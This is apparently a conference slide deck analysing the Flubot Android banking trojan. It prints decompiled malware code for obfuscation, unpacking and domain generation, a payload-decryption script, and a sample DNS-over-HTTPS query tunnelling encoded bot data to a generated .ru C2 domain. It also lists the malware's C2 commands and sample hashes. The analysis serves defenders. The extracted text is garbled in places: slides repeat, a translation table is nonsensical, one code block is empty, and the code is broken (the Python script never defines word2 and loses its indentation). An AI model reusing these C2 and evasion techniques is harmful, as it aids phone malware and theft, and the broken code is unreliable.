Pandemic in our pockets

Flubot

Juho Jauhiainen - FIRST Regional Symposium Europe
Disclaimer! Opinions expressed in this presentation are solely my own and do not necessarily express the views or opinions of my employer.
Juho Jauhiainen

Current
• Lead Incident Response Investigator at Accenture

Previous
• Information Security Specialist at NCSC-FI
• Senior Security Consultant at Nixu
• SOC Manager at Elisa

Education
• Master of Science in Technology, Information Security and Cryptography
• Bachelor of Engineering, Information Technology

Certifications
• CISSP, GCFA, GMON, GREM, OSCP

Other
• Podcast host at Turvakäräjät (https://turvakarajat.fi)
• Co-founder at HelSec (https://helsec.fi)
• Hacker, volunteer at KyberVPK (https://kybervpk.fi)
• Instructor at National Defence Training Association of Finland (https://mpk.fi)

@JuhoJauhiainen  /in/jauhiainen
Flubot
aka: Cabassous

- Android banking trojan
- Distribution through SMS and compromised WordPress sites
- First seen in December 2020 [1]
- Continuously developed
  - New features in every version
  - Developers are reacting to mitigation activities
- Mimics legit applications
  - DHL, Chrome, Voicemail, FlashPlayer

Highlights from version history

- First time spotted in the wild (2020)
- Version 4.5: Flubot starts targeting Finland (2021)
- Version 4.9: C2 started using DoH
- Version 5.1 and 5.2: DGA update feature
- Version 5.4: More obfuscation and ability to print notifications from C2 (2022)
Packing and obfuscation
Mitre T1027

Older versions used apkprotector but then the threat actor changed to custom packing

Custom obfuscation → Archive → Encrypted payload → Archive

classes.dex with custom obfuscation

```java
private static String m3986(int i, int i2, int i3) {
    char[] arr = new char[i2 - i1];
    for (int i4 = 0; i4 < i2 - i1; i4++) {
        arr[i4] = (char) (i256[1 + i4] ^ i3);
    }
    return new String(arr);
}
```
Highlights from version history

- **Version 4.5:** Flubot starts targeting Finland 🇫🇮
- **First time spotted in the wild:** España 🇪🇸
- **Version 4.9:** C2 started using DoH
- **Version 4.5:** Flubot starts targeting Finland 🇫🇮
- **Version 4.9:** C2 started using DoH
- **Version 5.4:** More obfuscation and ability to print notifications from C2
- **Version 5.1 and 5.2:** DGA update feature
- **Version 5.1 and 5.2:** DGA update feature
- **Version 5.1 and 5.2:** DGA update feature
Let's take a closer look
AndroidManifest.xml

Interesting stuff starts here

No source code here

Packed
Let’s take a closer look

AndroidManifest.xml

Unpacking must happen here
```java
private List<C0798h> m15649c() {
    String str = this.f4473p.getName() + f4461d;
    m15651b();
    ArrayList arrayList = new ArrayList();
    ZipFile zipFile = new ZipFile(this.f4473p);
    try {
        ZipEntry entry = zipFile.getEntry(f4471n + f4472a + 1 + f4458a);
        int i = 1;
        while (entry != null) {
            C0798h hVar = new C0798h(this.f4475r, str + i + f4459b);
            arrayList.add(hVar);
            StringBuilder sb = new StringBuilder();
            sb.append(m15659a(2684));
            sb.append(hVar);
            boolean z = false;
            int i2 = 0;
```

```java
```
<table>
<thead>
<tr>
<th>CHINESE - DETECTED</th>
<th>FINNISH</th>
<th>ENGLISH</th>
</tr>
</thead>
<tbody>
<tr>
<td>恶心愤怒惊恐气息憋气惊慌愤怒惊吓</td>
<td>unhappy constant</td>
<td>unhappy</td>
</tr>
<tr>
<td>恶心愤怒惊恐气息憋气惊慌愤怒惊吓</td>
<td>unhappy</td>
<td>unhappy uncle</td>
</tr>
</tbody>
</table>

Zi shang heng hui jiao nen shang de de kai shang hui chao yan c e de shang kai de kai shang c e de chi ji shu si xin chi shu hui yang shang

34 / 5,000
The current position defines which word will be used for the decryption.

if (pos % 8) / 4:
    6815829
else:
    4784199

The word will be bitshifted with bitsifted value of modul of current location, and then the current byte of the encrypted dex will be xorred with the value

(word >> ((pos % 4) << 3) ^ currentbyte)
Combine information and write a script

```python
password = "PUuhgRUGIUh9JMGUGIUhGokfewofjU"
charArray = list(password)
for i in range(0, len(charArray)):
    charArray[i] = ord(charArray[i])

with open("dFugwil/hGwggSpHy1.gqu", "rb") as fi:
    payload = fi.read(-1)

payload = zlib.decompress(payload)
word1 = charArray[9] << 16 | charArray[8]

print('Word1: `{}` Word2: `{}`'.format(str(word1), str(word2)))
decrypted_dex = []
pos = 0

while pos < len(payload):
    if pos & 4:
        outbyte = (word2 >> ((pos % 4) << 3)) ^ payload[pos]
decrypted_dex.append(outbyte & 255)
    else:
        outbyte = (word1 >> ((pos % 4) << 3)) ^ payload[pos]
decrypted_dex.append(outbyte & 255)
pos += 1

deobfuscated = zlib.decompress(bytes(decrypted_dex))

with open("/tmp/DHLS2.dex", "wb") as foo:
    foo.write(deobfuscated)
```

VERY NICE

GREAT SUCCESS
1. **Action Required (1/2)**
   - To install you must turn on the accessibility service for "DHL".
   - Click "OK" to go to the settings and then scroll until you find "DHL" and click to turn on the accessibility service.
   - If you do not find it click on "Downloaded / Installed services" and then click on "DHL".

2. **Action Required (2/2)**
   - To finish installation you must turn on notification access for "DHL".
   - Click "OK" to go to the notification settings.
Flubot uses shared preferences

- To store configurations permanently, Flubot uses Android shared preferences
- Most of the values are set during the installation

<table>
<thead>
<tr>
<th>Key</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>a</td>
<td>Bot ID</td>
</tr>
<tr>
<td>b</td>
<td>Default SMS application</td>
</tr>
<tr>
<td>c</td>
<td>Status of notification interception</td>
</tr>
<tr>
<td>d</td>
<td>Public IP address</td>
</tr>
<tr>
<td>e</td>
<td>DoH server (if received from C2)</td>
</tr>
<tr>
<td>f</td>
<td>C2 server (generated by DGA)</td>
</tr>
<tr>
<td>g</td>
<td>Custom seed (if received from C2)</td>
</tr>
</tbody>
</table>
Calling home

• Flubot starts with sending PREPING command to DGA list

• Continuous commands
  • PING
  • SMS_RATE

• Other commands
  • LOG (intercepts etc.)
  • EXCEPTION
  • BAL_GRABBER

• Command results

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PREPING</td>
<td>Preregister the device to C2</td>
</tr>
<tr>
<td>PING</td>
<td>“Keepalive”</td>
</tr>
<tr>
<td>GET_INJECTS_LIST</td>
<td>Deliver list of installed packages</td>
</tr>
<tr>
<td>GET_INJECT</td>
<td>Get phishing overlays</td>
</tr>
<tr>
<td>SMS_RATE</td>
<td>SMS send rate</td>
</tr>
<tr>
<td>GET_SMS</td>
<td>SMS content</td>
</tr>
</tbody>
</table>
DGA
Domain Generation Algorithm

```
int i = 0;
int tldC = 0;
while (true) {
  if (i >= 5000) {
    break;
  }
  String host2test = "";
  for (int y = 0; y < 15; y++) {
    host2test = host2test + (char) (r.nextInt(25) + 97);
  }
  String[] strArr = f88f;
  if (tldC >= strArr.length) {
    tldC = 0;
  }
  if (strArr[tldC] != f88f) {
    hostTest = host2test + strArr[tldC];
    tldC = 0;
  }
  hostList.add(hostTest + strArr[tldC]);
  tldC = 0;
  if (i > 0 & i % 2000 == 0 & priorityHost != null) {
    hostList.add(priorityHost);
  }
  if (i == 2500) {
    long altSeed = prefs.getLong("g", 0);
    if (altSeed == 0) {
      break;
    }
    r = new Random(altSeed);
  }
  tldC++;
}
```

- Loop all hardcoded TLDs
- Generate 2500 domains and continue if altSeed is set, else break.
- Create 25 threads that test generated domains
- C2 to test
DGA
Domain Generation Algorithm

```java
/* renamed from: d */
private static int m364d() {
    if ((6 + 9) % 9 == 0) {
    }
    if ((11 + 14) % 14 == 0) {
    }
    int[] SEEDS = {1945};
    return SEEDS[pcbf1946c.f102c.nextInt(SEEDS.length)];
}

/* renamed from: c */
private static void m365c() {
    if ((25 + 27) % 27 == 0) {
    }
    if ((8 + 13) % 13 == 0) {
    }
    int year = Calendar.getInstance().get(1);
    int month = Calendar.getInstance().get(2);
    long j = (long) ((year ^ month) ^ 0);
    f83a = j;
    long j2 = j * 2;
    f83a = j2;
    long j3 = j2 * (((long) year) ^ j2);
    f83a = j3;
    long j4 = j3 * (((long) month) ^ j3);
    f83a = j4;
    long j5 = j4 * (((long) 0) ^ j4);
    f83a = j5;
    f83a = j5 + (((long) m364d()));
}
```
How C2 tunneling works?

Start

Generate RC4 key. RSA encrypt botid and RC4 key with hardcoded public key. Encrypt command with the generated RC4. Combine both.

Combine botid, public IP address of the infected host, and the RSA+RC4 encrypted blob. Base32 the combined request.

Create request. Session ID, sequence number of the request, boolean of receive/send mode, the base32 blob, split to DNS requests of the DGA domain.

Empty response

Command or OK to command

Can C2 decrypt the payload?

Send requests to DoH server.
The query

`https://cloudflare-dns[.]com/dns-query?
name=df4a3ea1.13.0.CEW24JKLIJWCDAHWFDQXNASCT5RZA3DF04RPEZN6HSOPZ7DKXDR2RU5G4ZLF.157CJ7YITBEWQPQJF2361L3JUMQ6SJHL4YHI4T7KWMUGSFLPCKSF4QUZB3EAAQHR.NOVF73MO5X6PIG2FVJ6G00FSYB5JJ7ZH44LVEJ62KIOJW5R5BUQV6VCFWQGO.P7M455W2PX2BVZB4PFXFH4.wudvrhmvywtfhc.ru&type=TXT`

- **DoH host**
- **Session UUID**
- **Request sequence number**
- **C2 host generated by DGA**
- **Request type is always TXT**
- **TLP: WHITE**

Base32 encoded payload. Botid, public IP address and RC4 encrypted command / response.
**C2 commands**

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
<th>TLP:</th>
<th>Since</th>
</tr>
</thead>
<tbody>
<tr>
<td>UNINSTALL_APP</td>
<td>Uninstall application, package name received from C2.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>UPDATE_DNS_SERVERS</td>
<td>Update DoH server, which is used for C2 traffic.</td>
<td></td>
<td>v5.0</td>
</tr>
<tr>
<td>SMS_INT_TOGGLE</td>
<td>Toggle SMS interception.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>BLOCK</td>
<td>Block notifications.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SOCKS</td>
<td>Open socket that allows attacker to connect to the infected phone.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>UPLOAD_SMS</td>
<td>Upload all SMS messages from phone.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>OPEN_URL</td>
<td>Open given URL with browser.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>NOTIF_INT_TOGGLE</td>
<td>Toggle notification interception.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>UPDATE_ALT_SEED</td>
<td>Update DGA seed. This seed is used to generate C2 domains.</td>
<td></td>
<td>v5.1</td>
</tr>
<tr>
<td>RUN_USSD</td>
<td>Run given USSD code on the infected phone.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>DISABLE_PLAY_PROTEC</td>
<td>Disable play protect via accessibility.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>RELOAD_INJECTS</td>
<td>Resend list of installed packages to the C2.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SEND_SMS</td>
<td>Send specific SMS message.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>GET_CONTACTS</td>
<td>Get contact list from the phone.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>RETRY_INJECT</td>
<td>Re-inject / update inject to already injected application.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Not all system languages are equal

- Flubot checks system language during the installation
- If the system language matches the whitelisted countries, installation will not continue
  - 🇦🇿 AZE 🇧🇾 🇧🇾 🇦🇲 🇦🇲 🇬🇪 🇬🇪 🇰🇿 🇰🇿 🇰🇬 🇰🇬 🇷🇺 🇷🇺 🇹🇯 🇹🇯 🇹🇲 🇹🇲 🇺🇦 🇺🇦 🇷🇺 🇷🇺
- See the trend?
Target countries by country codes
All are “western” countries
Financial goal
Phishing overlays

• Flubot creates phishing overlays for targeted applications

• Targeted applications are delivered through the C2

• Targeted applications seen in Finland
  • Gmail
  • Coinbase
  • Binance
Conclusion

Threat actor

- Does not infect systems that use Cyrillic alphabets*
- C2 infra hosted in Russia 🇷🇺
- Inject HTML code commented with Russian
- Old infra shared Russian propaganda
- Motivation unclear
  - Financial obviously - but why so much capabilities?

Defense overview

- DNS over HTTPS providers do not care what for their services are used
- Cellular network providers need capabilities to filter SMS and MMS traffic
- SMS/MMS firewalls

*TLP:WHITE

* Azerbaijani (az), Belarusian (be), Armenian (hy), Georgian (ka), Kazakh (kk), Kyrgyz (ky), Russian (ru), Tajik (tg), Turkmen (tk), Ukrainian (uk), Uzbek (uz)
If it looks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck.
Good resources

• Samples
  • b61dfece6027e320552bdd263bb7e7805837b550
  • 47c7958d462e01a5c58f43c96d4ef1dfb209b3d9
  • 9b45243e89541ae26fea5ff2b9c7d14ff69044ed
  • 665cf567a24989208fb95b64f73a743f3b4f2470
  • 51068918ef38de2582e3139c38020417764e6ec5
  • 4de951a148783e3ded0e37d152ae9e55e5105a65

• Links
  • https://github.com/NCSC-NL/flubot
  • https://blog.f-secure.com/flubot_doh_tunneling/